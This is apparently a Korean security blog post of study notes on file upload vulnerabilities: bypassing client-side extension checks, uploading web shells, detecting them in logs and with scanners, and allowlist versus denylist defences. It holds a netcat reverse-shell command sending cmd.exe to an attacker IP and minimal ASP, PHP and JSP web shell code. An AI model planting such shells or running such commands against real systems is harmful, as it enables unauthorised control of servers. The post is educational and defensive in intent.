파일업로드
(게시판 등 제한 없이 파일을 업로드할 수 있는 곳은 취약성이 있다고 가정하고 접근)
:웹 쉘(명령어를 실행시킬 수 있는 웹 페이지)을 업로드하고, 실행하여 시스템 권한을 획득하는 행위
(1) 취약한 소스 예제
if문: 이미지를 첨부할 수 있는 곳에서 아무것도 업로드하지 않았을 때 경고 얼럿
else if문: 파일 확장자 제한 얼럿
-> 개발자 나름대로 취약성을 인식하고 제한을 걸어둠
하지만 자바 스크립트는 웹 브라우저에서만 입력값을 검사하기 때문에 proxy툴 등을 이용하여 변조가 가능하다
ex_ if(attacheFile.match(/.jpg|.jpge|.gif|.png$/i) ->if(attacheFile.match(/.jpg|.jpge|.gif|.png|jsp$/i)
개발자 의도와는 반대로 공격자 임의대로 jsp 파일을 업로드할 수 있고 시스템 권한을 획득할 수 있다
중요한 입력과 검증은 JSP로 하지 말자!
(2) netcat을 이용한 실습
1. 공격자 PC에서 netcat을 실행한다
nc -l -p 6000:
-ㅣ: 인바운드용 연결모드
-p : 연결될 포트를 명시
local에서 port는 TCP 6000번을 listening
2. 피해자도 netcat 실행
nc 공격자IP 6000 -e cmd.exe:
-e : 포트와 연결이 되면 실행할 프로그램을 명시한다.
3. 공격자는 listening 중이므로 윈도우 권한을 가질 수 있다.
ex_ ipconfig, dir c:\
(3) 파일 업로드 - 언어별 웹 쉘의 특징
ASP
ASP 웹쉘의 핵심: WSH(Windows Scripting Host: 32bit Windows 플랫폼을 위한 언어 독립적 스크립트)
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Wsh Shell 객체의 인스턴스를 만들고 다음줄에 선언된 Run 메소드를 통해 파일을 동작시킨다
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
WSH는 간단한 네트워크에 Windows의 기본 네트워킹 요소에 대한 메소드 및 속성셋을 제공한다
Set oFileSys = Syerver.CreateObject("Scripting.FileSytemObject")
FileSystemObject(FSO)를 통해 드라이브, 디렉토리, 파일을 액세스하고 각각에 대한 정보를 얻을 때 사용할 수 있는 포괄적인 개체
ex_
Set oScript = Server.CreateObject("ws...Shell")
...
...
call oScript.Run("cmd.exe...)
이런 식으로 웹 페이지를 통해 윈도우 명령어를 사용할 수 있다.
PHP
PHP 웹쉘의 핵심 코드: exec($cmd);
ex_
<input type = 'text' name = 'cmd' size = '70' value ="">
<?php
echo exec($cmd);
?>
변수 이름인 cmd를 실행(exec)하는 코드를 활용하여 웹페이지를 통해 시스템 명령어 삽입 가능하다.
JSP
JSP 웹쉘의 핵심 코드: Process p = Runtime.getRuntime().exec(cmd);
ex_
String cmd = request.getParameter("cmd"); //입력창에서 cmd라는 변수로 사용자 입력값을 받는다
...
Process p = Runtime.getRuntime().exec(cmd);
cmd에 입력된 명령어를 웹쉘에서 확인할 수 있다.
(4) 해킹 로그 분석
1) 프로그램 소스 내 패턴 검색
KISA의 WHISTL
https://www.boho.or.kr/download/whistlCastle/whistl.do
www.boho.or.kr
2) 안티 바이러스 제품 검색: 의심스러운 파일을 안티 바이러스 제품을 통해 확인
VIRUSTOTAL:
전세계에 사용되는 여러가지 검색 엔진을 동시에 이용하여 검사
이미 검사된 파일은 다른 사용자의 검사 결과를 보여주기도 함
https://www.virustotal.com/gui/home/upload
www.virustotal.com
3) 웹 로그 검색: 페이지 접속 통계를 통한 top-down 페이지 분석
logparser
1)
2) Windows 기능 켜기/끄기
3) 체크 박스 체크
4) IIS 실행
5) 로그 파일 위치 찾기
6) logparser 실행
7) 적중 횟수 별 요청 ( 최다 통화 된 페이지 검색)
8)
logparser -iw:ON -i:W3C -o:csv "SELECT cs-uri-stem as request, count(*) as total FROM [input.log] To [output.csv] GROUP BY request ORDER BY total"
http://inet.co.kr/news/view.php?gubun=4&no=608&page=
http://inet.co.kr/news/view.php?gubun=4&no=608&page=
n Logparser를 이용한 Web 로그 분석 가이드 - Log Parser 2.2 설치 - 웹 로그 속성 변경(보다 많은 정보를 분석하기 위함) - Microsoft Office Web Components 설치. (오피스 2003버전은 2007까지 호환됨.) - 입력은 IIS를 비롯 IISW3C,NCSA,IISODBC,BIN,IISMSID,HTTPERR,URLSCAN,CSV,TSV, W3C,XML,EVT,ETW,NETMO
inet.co.kr
(5) 파일 업로드 - 대책
1) Positive 방식
허용할 확장자를 선정하고 해당 확장자만을 업로드 허용하는 방식
ex) .hwp, .jpg 등
2) Negative 방식
차단할 확장자를 선정하고 해당 확장자를 차단하는 방식
ex) .jsp, .php, .asp
-Negative 방식은 제한할 확장자 경우의 수가 많기 때문에 Positive 방식이 더욱 안전하다.
'ETC. > WEB' 카테고리의 다른 글
Nmap Port Scanning with Wireshark (0) | 2021.03.29 |
---|---|
파일 다운로드 취약점 (0) | 2019.11.12 |
XSS (0) | 2019.11.12 |